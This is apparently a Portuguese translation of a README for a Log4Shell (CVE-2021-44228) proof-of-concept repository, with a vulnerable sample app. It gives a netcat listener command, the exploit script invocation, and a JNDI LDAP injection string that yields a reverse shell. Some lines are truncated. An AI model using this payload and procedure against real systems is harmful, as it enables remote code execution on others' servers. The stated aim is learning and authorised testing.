
Uma Prova de Conceito para a vulnerabilidade CVE-2021-44228.
Uma Prova-de-Conceito para a vulnerabilidade CVE-2021-44228 recentemente descoberta.
Recentemente houve uma nova vulnerabilidade no log4j, uma biblioteca de logging em java que é amplamente utilizada em coisas como elasticsearch, minecraft e muitos outros.
Neste repositório criamos uma aplicação vulnerável de exemplo e uma prova-de-conceito (POC) de exploit para ela.
Aplicação Web Vulnerável:
Ghidra (Script antigo):
Minecraft PoC (Script antigo):
Como PoC, criamos um arquivo python que automatiza o processo.
pip install -r requirements.txt
nc -lvnp 9001
jdk1.8.0_20, e estar no mesmo diretório.$ python3 poc.py --userip localhost --webport 8000 --lport 9001
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up fake LDAP server
[+] Send me: ${jndi:ldap://localhost:1389/a}
Listening on 0.0.0.0:1389
Este script configurará o servidor HTTP e o servidor LDAP para você, e também criará o payload que você pode usar para colar no parâmetro vulnerável. Depois disso, se tudo correr bem, você deve obter um shell na porta lport.
Adicionamos um Dockerfile com o webapp vulnerável. Você pode usá-lo seguindo os passos abaixo:
1: docker build -t log4j-shell-poc .
2: docker run --network host log4j-shell-poc
Depois que estiver em execução, você pode acessá-lo em localhost:8080
Se quiser desenvolver ainda mais o projeto, você pode usar o Intellij IDE, que foi o que usamos para desenvolvê-lo. Também incluímos uma pasta .idea com arquivos de configuração que facilitam um pouco o trabalho. Você provavelmente também pode usar outras IDE's.
Na época em que criamos o exploit, não tínhamos certeza de quais versões do java funcionam e quais não funcionam, então optamos por trabalhar com uma das versões mais antigas do java 8: java-8u20.
A Oracle, felizmente, disponibiliza um arquivo para todas as versões anteriores do java:
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html.
Role até 8u20 e baixe os arquivos apropriados para seu sistema operacional e hardware.

Nota: Você precisa criar uma conta para poder baixar o pacote.
Depois de baixar e extrair o arquivo, você pode encontrar o java e alguns binários relacionados em jdk1.8.0_20/bin.
Nota: Certifique-se de extrair a pasta jdk neste repositório com o mesmo nome para que funcione.
❯ tar -xf jdk-8u20-linux-x64.tar.gz
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
Este repositório não tem a intenção de ser um exploit de um clique para CVE-2021-44228. O objetivo deste projeto é ajudar as pessoas a aprender sobre essa vulnerabilidade incrível e, talvez, testar suas próprias aplicações (no entanto, existem aplicações melhores para esse propósito, ex: https://log4shell.tools/).
Nossa equipe não ajudará nem endossará qualquer uso deste exploit para atividades maliciosas; portanto, se você pedir ajuda, poderá ser solicitado a nos fornecer prova de que você é dono do serviço alvo ou tem permissões para fazer pentest nele.